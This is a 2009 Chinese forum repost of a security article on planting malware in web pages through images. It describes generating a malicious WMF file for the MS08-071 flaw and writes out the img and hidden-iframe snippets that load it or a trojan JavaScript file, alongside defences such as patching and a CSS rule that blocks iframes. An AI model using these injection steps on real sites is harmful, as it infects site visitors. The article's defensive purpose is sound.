找回密码
 注册
查看: 1063|回复: 0

反击网页挂马:潜伏在图片中地害群之“马”

[复制链接]
发表于 2009-2-21 15:42:11 | 显示全部楼层 |阅读模式
在网页挂马历史中,图片挂马是非常“古老”的。为什么古老的挂马技术到现在还在大量被使用?为什么它能肆无忌惮?我们又该怎么防范它?身为一名安全工程师,这些你不能不知道…… 9 T7 E. `" P% K, ~" N8 h8 W; {

1 s  i$ |! |" c6 b, x
- A* I& w8 p2 q# L5 |6 j) o  锐甲团队李海波:许多著名的论坛都出现过被黑客利用图片挂马的事件,图片挂马是一种典型的溢出攻击,这种攻击非常危险。黑客利用图片挂马的途径花样百出,最典型的途径就是广告方式,曾经就出现过黑客购买某门户网站的广告位置用来挂马的事件。由于某些网站为了方便广告客户更换广告,因此广告图片都不是保存在自己网站空间中的,而是直接指向了客户指定的地址,因此黑客在购买广告位置之后,将指向广告的图片修改为恶意溢出图片,导致了许多用户误认为是该门户网站被黑客挂马。7 g1 e& M, B. `. @
  部分网站管理人员在做网站安全维护的时候,往往认为维护一次就可以了,不是忽略了反病毒系统的升级就是忘记了定期审查程序和系统,进行有计划的维护,因此导致许多网站屡屡被黑客溢出攻击。所以一个合格的安全工程师,应该做到面对复杂项目也能有事无巨细地进行审核排查的耐心,时刻关注各种安全公告的发布与更新。这是防堵网络挂马的终极策略。7 K* |; ?+ P/ w2 x
  图片挂马为什么备受青睐?
+ ]7 r, ~3 r* ?% \% [6 n  黑客们之所以热衷于用图片挂马的方式抓肉鸡,主要是图片挂马的隐蔽性相对较高,网管想在成千上万张图片中找到有害文件,既费时又费力。此外,通过嵌入的方式将看似没有问题的图片嵌入网页中,本身就很难发现。
/ w" i# }' E+ f7 H% S8 C) ~  更重要的是,图片永远是捕获肉鸡的最好诱饵。黑客往往只需要将木马挂到网站上之后,再取一个耸人听闻或者暗示性极强的名字,就会有源源不断的肉鸡找上门来。所以图片挂马就如同古代传说中会吃人的美人鱼一样,先用动听的歌声将在大海中航行的水手迷惑,让他们偏离航向,进而自投罗网落入美人鱼布好的陷阱中。
, J$ e8 }# l& Q$ P5 m  图片挂马的主要方式有两种,一种是直接利用JPG漏洞、GDI漏洞或者ANI漏洞等进行溢出挂马,将制作好的溢出文件,直接上传或者链接到入侵的网站中,等待没有打补丁的用户中招。) r" x" b1 H6 Z6 P0 a
  另外一种是将图片伪装后挂马。将包含JS代码或者IFRAME代码的网页木马加密后添加到HTML文件中。. t. ?; x' x. Z( q* ?4 c! T
  图片挂马攻防实录4 n2 t( r7 M, E+ N& {  ^; z
  方式1:图片漏洞挂马+ J) h9 Z. t  q" R$ u) F: w3 l
  
5 Q1 p+ u% J  m* _; ]9 v. z6 F  
这种挂马方式主要利用的是系统或者建站程序的漏洞。我们以MS08-071漏洞为例讲解这种挂马方式。首先打开《MS08-071漏洞溢出生成器》,在地址一栏中输入木马所在地址(图1)。 * }# D; i3 o( Y" a, j, g/ B1 G

- |$ ?' S+ ]# R2 ~  然后在图片地址选项中选择一张正常的图片(优先选择BMP格式图片),点击“生成”之后,含有恶意代码的图片(WMF格式)就出现在溢出程序所在的目录中了(图2)。 7 B% f  t" R! a6 X6 ~! o

! P/ r8 y! r  ~0 [) ]
  P( r) w2 V! d5 B
9 P8 K( K5 D6 S# Y$ W5 P6 R  @
  小百科:MS08-071漏洞是一个远程代码执行漏洞,如果用户打开特制的 WMF文件、图像文件等,就会触发漏洞,被黑客远程控制。黑客拥有查看、更改、删除数据或者创建新账户的权限。4 X/ \& g9 R, n0 e5 A
  恶意图片生成后,接下来将它保存到指定的网站中,在需要挂马的网页中添加正常的图片显示代码::<img src="http://192.168.1.178/ms08071.wmf" width="1" height="1" />,这里的IP地址要根据实际情况进行修改。代码添加完成之后,所有访问者都会在浏览该网页时中招。  L: D% E7 H' j2 J0 ]0 f  y
  
) H3 \& o5 R) Y  
防范这种图片挂马方式最好的办法就是部署服务器反病毒系统,通常反病毒系统在查杀这种漏洞溢出木马时效率和速度会比较高。在必要时,也要提醒工作单位的员工及时升级系统补丁,防止内部感染。这种通过恶意图片进行溢出挂马的方式目前有JPG、GIF、ANI、GDI等许多种,方法大同小异。! Q# c' t/ t& L& X
  此外,由于溢出文件的图片虽然有时候能够正常显示,但是多数时候仍然是无法正常显示的,特别是在用略缩图查看图片文件时,含有恶意代码的溢出图片往往无法正常显示,因此安全工程师可以使用Windows资源管理器中的略缩图查看功能,查看一下网站中哪些图片无法在略缩图模式下正常显示。
! ~7 |$ c7 R( I4 ]' }方式2:图片伪装挂马
. R# o2 C1 F* z  
! p# v2 B7 }$ X) |7 m% }) q  j( z. u  
这种方法比较简单,所以在最近非常盛行。具体操作方法如下:先准备好特制的JS挂马代码,然后打开写字板,输入HTML代码 (将框架内嵌的木马地址设为图片木马网页的地址):' q6 F+ _. X0 M$ n2 a, b
<html>2 b7 b) A8 O0 T& S% }4 W
<iframe. src=" http://特制的JS挂马代码.js" height=0 width=0></iframe>
) L! e! N: D0 O" x- a7 t$ F& f<img src=" 同路径下的图片文件.jpg "></center>; @% T' w. t- f6 k/ h0 t6 X2 l
</html>

, {; x9 y$ g2 C8 a0 Q  将代码插入目标网站内页或另存为HTML再上传到目标网站,当用户访问该网页时,就会中招(图3)。
( W- W8 b+ b# |% k0 ]

3 x+ g9 f# r" u* H- u' p

/ h! Y" d7 _6 }: V: i2 R  这种挂马方式其实是利用图片作为转移网页访问者视线的一种方式。更早之前,我们可以将类似的HTML代码直接另存为GIF文件,上传或者挂到动网论坛中,不过现在直接保存为GIF的方法已经失效了。- n8 a2 x# `" }. L
  * [" f0 `7 s7 ]9 Y' g; V
  
这种挂马的防范方法跟防范IFRAME挂马的方法类似,通过JS代码就可以阻断外域的JS文件运行。
4 h1 a, d; Z/ ?% s  iframe{zimo1:expression(this.src='about:blank',this.outerHTML='');}3 L' k5 f' I4 V% q- b
  script{zimo2:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
* W6 O; u9 R, W, }& u4 ]  这段代码立即调用IE私有的execCommand方法来停止页面所有请求,所以外域JS文件也被强制停止下载了,就像我们点了浏览器的“停止”按钮一样。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|光学薄膜论坛

GMT, 2025-12-20 , Processed in 0.028852 second(s), 22 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表